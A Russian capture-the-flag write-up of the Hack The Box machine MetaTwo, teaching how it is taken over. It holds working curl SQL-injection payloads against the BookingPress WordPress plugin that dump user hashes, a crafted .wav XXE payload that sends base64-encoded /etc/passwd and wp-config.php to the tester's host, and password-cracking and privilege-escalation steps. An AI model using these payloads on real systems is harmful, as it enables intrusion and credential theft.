Хакер - HTB MetaTwo. Раскручиваем уязвимость в WordPress до полного захвата машины
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- SQL Injection
- XXE
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как эксплуатировать SQL-инъекцию в WordPress для авторизации в CMS. Затем проэксплуатируем локальное включение файлов, а для повышения привилегий захватим данные менеджера паролей Passpie.
Упражняться во всем этом мы будем на тренировочной машине MetaTwo с площадки Hack The Box. Уровень сложности — легкий.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.186 metatwo.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Скрипт нашел три открытых порта:
- 21 — служба FTP;
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Nginx 1.18.0.
На SSH без учетных данных ничего не сделать, служба FTP анонимную авторизацию не разрешает, поэтому идем смотреть веб‑сайт. Притом, как видим из результата сканирования, выполняется редирект на сайт http://metapress.htb/. Новый домен добавляем в файл /etc/hosts.
10.10.11.186 metatwo.htb metapress.htb

ТОЧКА ВХОДА
На самой странице находим упоминание CMS WordPress.

При тестировании сайтов на WordPress я рекомендую использовать утилиту wpscan. Программа позволяет получить информацию как о самой CMS, так и об установленных плагинах и темах, обнаружить действующих пользователей и даже пробрутить форму авторизации. Запускаем программу в режиме агрессивного сканирования всех плагинов в 128 потоков.
wpscan --url http://metapress.htb -e p --plugins-detection aggressive -t 128

Просканировать плагины у нас толком не вышло, так как процесс сильно замедляется, а словарь очень большой. Зато поиск эксплоитов к этой версии CMS дал результат. Правда, найденный мной эксплоит требует авторизованного доступа, поэтому отметим его на будущее.

Теперь составим карту сайта, чтобы понимать область тестирования. При этом можно найти интересные адреса, которых мы еще не видели. Сканировать и составлять карту можно прямо в Burp, достаточно выбрать в контекстном меню Engagement tools → Discover content.

По созданной карте сайта видно, что установлен плагин BookingPress версии 1.0.10. Как всегда, сразу проверяем, нет ли готовых эксплоитов для этой версии плагина.

Находим эксплоит, который работает без авторизации.
ТОЧКА ОПОРЫ
SQL Injection
В описании к эксплоиту есть готовый запрос.

Однако, чтобы его выполнить, нам нужно знать параметр _wpnonce. Переходим к карте сайта и в контекстном меню выбираем поиск по всему сайту: Engagement tools → Search.

Выполняем запрос из описания и получаем ответ в формате JSON.
curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

В запросе мы получили версию базы данных и операционной системы. Для удобства отображения будем фильтровать нужные параметры из ответа с помощью grep.
curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' | jq | grep 'bookingpress_service_id\|bookingpress_category_id\|bookingpress_service_name'

Так как мы работаем с WordPress, структура базы данных известна. Нам нужно получить пользователей (столбец user_login) и хеши паролей (столбец user_pass) из таблицы wp_users. У нас выводится всего одна запись, а пользователей может быть несколько, так что группируем все записи из столбца в одну с помощью функции group_concat().
curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -' | jq | grep 'bookingpress_service_id\|bookingpress_category_id\|bookingpress_service_name'

Получили хеши — отправляем на брут. Будем использовать hashcat, а ему нужно указывать режим (тип хеша), определить который нам поможет справка программы.
hashcat --example | grep '\$P\$' -A2 -B12

Таким образом, необходимый режим работы — 400, указываем его в параметре -m.
hashcat -m 400 400.hash ~/tools/TOOL/wordlists/Passwords/rockyou.txt

Получаем пароль пользователя manager и авторизуемся на сайте. Теперь самое время вспомнить про обнаруженную вначале уязвимость XXE.
XXE
Инъекция внешних сущностей XML (XXE) — уязвимость, которая позволяет атакующему вмешиваться в обработку XML-данных. Эта уязвимость предоставляет нам возможность получить произвольные файлы из системы.
В WordPress есть медиатека, которая позволяет аутентифицированным пользователям загружать медиафайлы, чтобы затем использовать их при написании постов в блоге. Метаинформацию из этих медиафайлов (например, имя исполнителя) WordPress извлекает при помощи библиотеки getID3. Некоторые из этих метаданных передаются в форме XML. Вот тут и прячется наша уязвимость.
Первым делом сгенерируем файл .wav, содержащий документ XML, который будет загружать внешнюю сущность с нашего хоста.
<?xml version="1.0"?>
<!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.5/evil.dtd'"'"'>%remote;%init;%trick;] >
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.5/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
Внешняя сущность должна содержать параметры init и trick.
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.5/?p=%file;'>" >
Таким образом, при загрузке файла .wav произойдет загрузка сущности evil.dtd с нашего хоста, которая получит содержимое файла /etc/passwd и выполнит запрос следующей сущности. При этом в самом запросе она передаст в качестве параметра p содержимое полученного файла, закодированное в Base64.


Декодируем данные из Base64 и получаем содержимое запрошенного файла /etc/passwd.

ПРОДВИЖЕНИЕ
С возможностью читать файлы на удаленной системе для продвижения нам нужно искать учетные данные. Первая мысль — прочитать файл с настройками сайта, где хранятся учетные данные для подключения к базе данных. В случае WordPress это файл wp-config.php. Чтобы прочитать его, нужно знать путь к файлам веб‑сайта, в чем поможет чтение настроек сервера Nginx, а именно вот этот файл:
/etc/nginx/sites-enabled/default
Запрашиваем его:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default">

Узнаём путь /var/www/metapress.htb/blog и читаем содержимое файла wp-config.php.
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">

Мы нашли учетные данные для подключения к FTP-серверу. Подключаемся сами и видим интересный каталог mailer.

Переходим к ресурсу mailer и видим файл send_email.php, который скачиваем на локальный хост.

В исходном коде находим учетные данные для почтового сервера.

C полученным логином и паролем успешно авторизуемся по SSH и забираем флаг пользователя.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Для поиска путей повышения привилегий я, как всегда, буду использовать скрипт PEAS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, попробуем найти важную. Так я обнаружил, что в списке ключей SSH есть ключ passpie.

Passpie — это консольный менеджер паролей с настраиваемым интерфейсом. Он хранит пароли в зашифрованном виде, а для расшифровывания используется мастер‑пароль. В каталоге программы найдем зашифрованный пароль пользователя root.

Единственное, что мы можем сделать в данной ситуации, — забрать из системы ключ PGP и попытаться набрутить мастер‑пароль.

Перед брутом пароля нужно привести ключ PGP в понятный для программы John the Ripper формат. В этом поможет скрипт gpg2john, которому нужно указать файл с ключом.

Теперь отдаем файл с преобразованным ключом JTR, ждем несколько секунд и получаем мастер‑пароль.

Возвращаемся в терминал атакуемого хоста и пробуем получить сохраненные пароли.
passpie export pass

Локально меняем пользователя на рут, указав полученный пароль, и забираем второй флаг.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei